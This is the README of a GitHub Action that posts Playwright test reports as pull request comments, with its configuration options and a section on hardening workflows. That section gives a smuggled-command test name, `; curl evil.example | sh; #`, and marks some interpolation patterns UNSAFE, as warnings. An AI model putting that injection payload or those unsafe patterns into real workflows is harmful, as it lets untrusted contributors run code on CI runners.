A GitHub action to report Playwright test results as a pull request comment.
- Parse the JSON test report generated by Playwright
- Generate a markdown summary of the test results
- Post the summary as a pull request comment
- Uses GitHub's official icons and color scheme
Playwright must be configured to generate a JSON report and
write it to disk. This action receives the report file path as input, in this case results.json.
Note the if: always() to ensure the report comment is created even if the tests failed.
jobs:
test:
name: Run playwright tests
needs: install
steps:
- uses: actions/checkout@v6
- uses: actions/setup-node@v6
with:
node-version: 24
- run: PLAYWRIGHT_JSON_OUTPUT_NAME=results.json npx playwright test --reporter=json
- uses: daun/playwright-report-summary@v4
if: always()
with:
report-file: results.jsonThe action will do the work of creating comments and updating them whenever tests re-run. If you require custom logic
for creating and updating comments, you can disable the default logic and use any other action in combination with the
summary output of this action.
A few recommended actions are Sticky Pull Request Comment and Create or Update Comment.
- uses: daun/playwright-report-summary@v4
if: always()
id: summary
with:
report-file: results.json
+ create-comment: false
+ - uses: marocchino/sticky-pull-request-comment@v3
+ with:
+ message: ${{ steps.summary.outputs.summary }}- uses: daun/playwright-report-summary@v4
if: always()
with:
# The GitHub access token to use for API requests
# Defaults to the standard GITHUB_TOKEN
github-token: ''
# Path to the JSON report file generated by Playwright. Required.
report-file: 'results.json'
# A unique tag to represent this report when reporting on multiple test runs
# Defaults to the current workflow name
report-tag: ''
# URL to a published html report, uploaded by another action in a previous step.
# Example pipeline: https://playwright.dev/docs/test-sharding#publishing-report-on-the-web
report-url: 'https://user.github.io/repo/yyyy-mm-dd-id/'
# Number of the pull request to comment on. This is only required if the action
# is run outside a pull request context or needs to comment on another PR.
pr-number: 123
# Whether the action should create the actual comment. Set to false to implement
# your own commenting logic.
# Default: true
create-comment: true
# Title/headline to use for the created pull request comment.
# Default: 'Playwright test results'
comment-title: 'Test results'
# Additional information to include in the summary comment, markdown-formatted
# Default: ''
custom-info: 'For more information, [see our readme](http://link)'
# Configure order and visibility of test results (options: passed, failed, flaky, skipped)
# Prefix each status with a minus sign to collapse it by default, e.g. '-passed'
# Default: 'failed, -flaky, -skipped' (expand failed tests, collapse flaky and skipped tests, hide passed tests)
sections: 'failed, -flaky, -skipped'
# Create a job summary comment for the workflow run
# Default: false
job-summary: false
# Icon style to use: octicons | emojis
# Default: octicons
icon-style: 'octicons'
# Command used to run tests. If provided, a command to re-run failed or
# flaky tests will be printed for each section.
# Default: ''
test-command: 'npm run test --'
# Additional content to add to the comment below the test report.
# Default: ''
footer: ''The action creates three output variables:
The rendered markdown summary of the test report.
The ID of the comment that was created or updated
The raw data of the test report, as a JSON-encoded string. This is useful for creating custom summaries or debugging. You can get an idea of the data structure by checking out the ReportSummary interface.
The action sanitizes its rendered comment so that untrusted content cannot inject active markdown. However, if you are passing the action's outputs to another action or triggering the action in a non-PR context, make sure to read the next section to harden your workflows against script injection.
The summary and report-data outputs contain raw test titles and file paths from the Playwright JSON report for you
to post-process. When tests are added from external pull requests, those strings are attacker-controlled. Since
GitHub Actions output values are interpolated literally before shell parsing, passing them into a run: step can
lead to script injection on the runner.
Pass outputs as inputs to another action. Action inputs are not shell-interpreted.
- uses: daun/playwright-report-summary@v4
id: summary
with:
report-file: results.json
create-comment: false
- uses: marocchino/sticky-pull-request-comment@v3
with:
# safe: action input, not shell-interpolated
message: ${{ steps.summary.outputs.summary }}If you need an output inside a run: step, pass it through an environment variable and quote the shell expansion.
The value never touches the shell parser.
- run: |
echo "$SUMMARY" >> notes.md
env:
# safe: quoted env var, not shell-interpolated
SUMMARY: ${{ steps.summary.outputs.summary }}Do not interpolate outputs directly into a run: script. A test named `; curl evil.example | sh; # would
execute on your runner.
# UNSAFE: output is interpolated and open to injection
- run: echo "${{ steps.summary.outputs.summary }}"
- run: curl -d "${{ steps.summary.outputs.report-data }}" https://example.comSee GitHub's guidance on mitigating script injection attacks for more.
The action supports being run from an issue_comment event so you can e.g. re-post the summary when someone comments
/retest on a PR. In a public repository any GitHub user can comment on a PR, so you need to make sure the job is
gated on the commenter's association with the repository to avoid potential abuse.
# Only run for comments by users with write+ access
jobs:
summary:
if: github.event.issue.pull_request && contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association)
# Or restrict to an explicit actor allowlist
jobs:
summary:
if: github.event.issue.pull_request && github.actor == 'your-bot-user'If your issue_comment job additionally checks out the PR head (e.g. to re-run tests), the same threat model as
pull_request_target applies: treat the checked-out code as untrusted and never run it with repository secrets in
scope. See the official guidance on
keeping your GitHub actions secure
for details.

